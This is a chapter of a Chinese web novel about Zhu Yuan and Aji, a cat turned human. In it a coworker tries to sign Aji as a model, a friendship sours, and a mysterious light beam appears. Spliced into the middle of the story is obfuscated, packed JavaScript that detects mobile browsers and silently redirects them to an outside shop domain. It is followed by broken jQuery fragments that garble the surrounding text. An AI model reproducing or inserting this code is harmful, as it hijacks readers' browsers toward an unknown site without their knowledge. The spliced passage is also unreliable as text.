晚饭是乔言心请客的刺身外卖，为了感谢祝愿拔刀相助，她点了很多，六个人吃都能撑死，一张桌子差点摆不下。


    偏阿基还非要把红烧肉和炒青菜用微波炉加热端上去，说是看视频里说吃隔夜菜对身体不好，不吃浪费。


    他最近在研究营养学。


    祝愿觉得哪有这么娇贵，这是肉和青菜，又不是海鲜，多热几次吃了不会有事的。


    但犟不过他。


    因为家里没有多余的椅子，三人把战场移至茶几，盘腿各踞一方。


    头顶的白炽灯照耀，衬得阿基的皮肤愈加白净，只是坐在那里吃青菜，也好看的不像话。


    乔言心不免又亮起星星眼，内心惊叹祝愿艳福不浅，能和这么一个大美人朝夕相处，只可惜两人是亲戚，真想发生点什么也不可能。


    祝愿还没吃过刺身呢。


    她学着乔言心，把芥末和酱油拌在一起。其实她不太喜欢芥末的味道，太刺激了，但乔强烈推荐，保证一定好吃。


    于是她按照教程把三文鱼放进去滚满一圈，在乔充满期待的眼神里，往嘴里送了一整块。


    ……呕。


    这不就是肥肉的味道吗？还是最原生态的那种，配合芥末更是双重打击。


    当着请客人的面吐出来太不讲究，她不动声色吃了好几块红烧肉才压下去，心想幸亏把这两盘加上了，不然。


    乔言心看祝愿都没夹几筷子，“欸”了一声，“你不喜欢吗？”


    “吃不习惯。”祝愿实话实说，听到乔说要再点其他的弥补，她立马阻止，“真不用！我吃红烧肉都七分饱了，现在点肯定吃不完，你们俩吃的开心就好。”


    阿基也接过话茬，“晚上吃太多不好消化。”


    “好吧，肯定是外卖影响了口感，下次带你去吃更好吃的。”


    吃饱喝足之余，祝愿问起她非要赖着自己跟到家里的真正意图。


    把窗户纸戳破反而更容易交谈，乔言心收起刚才嘻嘻哈哈的嘴脸，正襟危坐的模样，看上去倒还真有几分乔家生意人的影子。


    “咳咳，那我就直说了，我开了家模特经纪公司，想签骆基。”她从随身携带地小包包里掏出一堆公司的营业执照和能证明其正规性的文件，一一摆在桌上供二人检阅。


    乔言琛说，不管用什么方法，逮住乙方线下面谈是合作成功的第一步，心理学上叫存在感效应，只有当你出现在他面前，让他意识到你是一个活生生的人，才不会被无视。


    乔言心说哇，哥，原来你也是这样死乞白赖求人和你做生意的吗？


    他嗤笑一声，说，只有别人求他的份OK？别拉低他逼格。


    第一步从目前为止看来，乔言心做的很好。


    第二步就是直击主题。不要问“行不行”，这句话等同于给人拒绝自己的机会。大胆展示优势，你的成功率将会大大提升，走上人生……


    “不了。”


    咦咦，怎么跟设想中的不一样？


    乔言心傻眼，只得加快语速，为自己挣得更大赢面，“可是我还没开始介绍呢。虽然我的公司刚成立，但我身后是大名鼎鼎的乔氏集团，影后王贾珍在的天阔娱乐就是我家的产业，请得起最好的指导老师，资源人脉我都有。骆基条件这么好，只是做网红未免大材小用，模特前景可比网红光明多了。


    “如果你中途想退出，我不收违约金。这是我最大的诚意，就当试试水，反正稳赚不赔，怎么样？”


    她着急忙慌地把底牌亮出来，原本以为至少能换来祝愿哪怕流露出来的一丝犹豫，但来人依然不假思索摇头。


    “志不在此，不考虑了。”


    “但是……”


    祝愿回避，“过了这个点就不好打车了。”


    连续几次被拂了面子，乔言心隐隐有些生气。除了乔言琛，平时身边人哪个不是哄她宠她，大小姐脾气蹭蹭往上冒。


    “行，你不同意，那骆基呢，怎么说，人往高处走，黄金年龄就这几年，错过了这个村就没这个店了。”


    她后知后觉说话冲过头了，心里有点虚。


    但转念一想，她也没说错啊，个体户网红和正规模特公司，选哪个不是一目了然吗？从始至终都是祝愿的一言堂，如果因为这样就认输了，她不服气。


    乔言心咬唇，祈祷下一秒能从骆基的嘴里听到满意的答复。


    而祝愿听她这么说，叹气，摇摇头，一副“逆子执迷不悟我也没办法啊”的表情，又夹了块红烧肉塞进嘴里嚼巴。


    乔言心蹙眉，不理解她为什么能这么自信。


    托自家产业的福，她从小到大没少见到圈子里的黑暗面。人在面对赤裸裸的利益的时候，别说亲兄弟亲姐妹，就算你是天王老子也没用，倒戈和背刺如同家常便饭。


    一晚上下来，虽然阿基就坐在不远处，但给人一直游离在宇宙外的感觉，只有在这一刻才像活过来了。


    特指表情。


    挑眉，疑惑，理所当然的意味。


    “你在说什么，我当然听她的。”


    —


    “都这个点了，乔言心是不是不打算来了？”


    祝愿神情复杂，轻点了下放在旁边的手机屏幕，上面显示11：26AM。


    而上班时间是九点，迟到了两个半小时，且无请假无意外说明，经理都特意跑过来询问情况。


    昨晚，祝愿把她送到门口，她忽然回过头问她，“你是不是一直对我有意见？”


    乔言心用的是“一直”这个词，时间拉长到刚认识的时候。


    她这么潇洒不羁，也会对好几年前的争吵耿耿于怀吗？


    面对质问，祝愿愣了几秒，在一番纠结之下，最终点点头，承认了她的说法。


    楼道里安装的是声控灯，早在沉默中关闭照明。大门敞开，祝愿身后是亮堂堂的屋子，惨淡的灯光打在乔言心半边脸上，她扯唇嗤笑一声，踩着高跟走了。


    所以，乔言心今天没来上班，会是因为她吗？


    鱼丸俯身打了个响指，拉回她的思绪，“想什么呢？今天一起去食堂吃饭吗，有咸酥排骨哦～”


    “嗯嗯，去。”


    “好耶！”


    直到下班，乔言心都没出现。一天，两天，三天，不知道从哪里传出来关于她的牛逼背景，办公室又热闹了一段时间，而后逐渐归于平静。


    —


    九月底，郁城街道两边的梧桐树，少量叶子还稀稀拉拉坠在上面，金黄色铺满人行道，又被凉风一卷，祝愿偶尔能在电驴前筐里翻到几片。


    阿基已经学会拼音打字，祝愿表示很惊讶，她一年级的时候拼音作业还写的一塌糊涂呢。


    不过他是特务，学习能力肯定会强一些。她这样安慰自己。


    阿基：饭菜都做好放冰箱里了，想吃的话放微波炉解冻很快就好。别吃外卖。


    之前祝愿不走运，点到一家很差劲的火锅鸡，吃完当晚就发了低烧。她觉得这只是巧合，而阿基非把罪责全部揽在外卖上，一棍子打死所有。


    像极了那远在家乡的老母亲。


    自从他学会上网之后，活越干越精细，双商也以肉眼可见的速度上涨，相对应，管的也越来越宽。


    祝愿属于敌强我强，敌弱我弱的类型。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392162|199614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>阿基傻，她就像一座大山般可靠。


    阿基开智了，她的懒惰懈怠等等潜能又重新被激发。


    合着两人轮流给对方当爹妈呢。


    赚到钱以后，祝愿狠狠奢侈，给自己换了把人体工程学办公椅。


    她靠在上面舒舒服服晃着腿：得，遵命。钥匙放在鞋垫底下了，我想了想，万一你回来的早，孤零零呆在外面也太可怜了。


    阿基：不用，我会撬锁。


    祝愿：蛙趣……不如下次我们直播开锁吧，一二三上链接！


    阿基：噢说到这个，我们还能卖鸡爪吗？上次的鸡爪好好吃。


    祝愿：瞧给你馋的，想吃就买，我请客。


    ……


    他们扯到什么都能毫无违和感地往下聊，午休时间就这样不知不觉耗尽，敲键盘声四起，祝愿收起手机投入新一轮工作。


    经过市场验证，擦边杂志有前途，至少近期是不会变更方向的。


    那一期不止盘活了杂志社，孟嘉信本人也吃到红利。他被一家模特公司顺利签下，有专业人士为他做职业规划，不用再亲自苦哈哈蹲在微信群抢单子。


    其实在他分享喜悦之前，祝愿已经在乔言心的朋友圈里刷到了这条消息。


    两人对话界面截止于祝愿问她怎么不来上班，乔言心时隔两天回了个“不想去”。


    因为我吗？


    她犹豫再三还是没把这句话发出去。


    乔言心肯定对她有意见，但并没对她设置朋友圈不可见。祝愿后来反思自己心眼太小，脑子吃三文鱼吃傻了，都说做人留一线日后好相见，哎，当时应该否定的。


    于是这份心虚外化成一次不落的点赞。


    —


    毕业季来临，原本还在大闹裁员的泛月杂志社居然准备去大学校园秋招。


    “裁员裁狠了呗，经理的骚操作让人觉得前途无望，又无痛逼走了几个，结果现在工作量激增人手又不够了。”鱼丸表示鄙视。


    祝愿附和，内心小小庆幸自己成功熬过这场风波。


    鱼丸黑眼圈凸显，疲惫地捶打肩膀，“哎，希望赵哥他们那边招人顺利吧，再没人分担我真要累坏了。”


    祝愿于心不忍，想着自己那部分搞的差不多了，慷慨道：“别愁了，我帮你写点。”


    “真的吗？！呜呜呜小愿愿对我最好啦～”


    为表感谢，鱼丸请她搓了顿火锅。


    吃得饱饱的祝愿回到家看着冰箱的饭菜犯了难。


    阿基回来看到剩了这么多肯定免不了一顿叨叨，吃又吃不下，扔了又浪费。


    有了。


    “嘬嘬嘬。”祝愿一手拿着不锈钢碗，一手打着手电筒，弯腰在小区的绿化带里寻寻觅觅。


    几只小猫听到熟悉的声音，小心翼翼探出脑袋。


    这些小猫身边也没个大猫跟着，里面还有一只长得很像化形之前的阿基，不知道是怎么流浪到这里的。达则兼济天下，同城已经有爱猫人士发出领养公告，祝愿主动联系她们，表示可以出钱报销疫苗费用。


    嘿嘿，不过是从阿基的分成里扣。


    秋风飒爽，祝愿身上裹了件长到脚踝的毛衣，蹲在地上看猫儿们狼吞虎咽。


    却不想，抬头的片刻，居然望见远方出现一道直插云霄的光束，不，不是光，更像通道，坚硬的透明外壳里是匀称分布的密集光点。


    但只一瞬间，她揉揉眼睛，再睁开，月朗星稀，与平常无异。


    祝愿清楚，这不是眼花。


    阿基此时应该就在那个方向，等待着他的同伴。


    不知为何，她心里莫名发慌。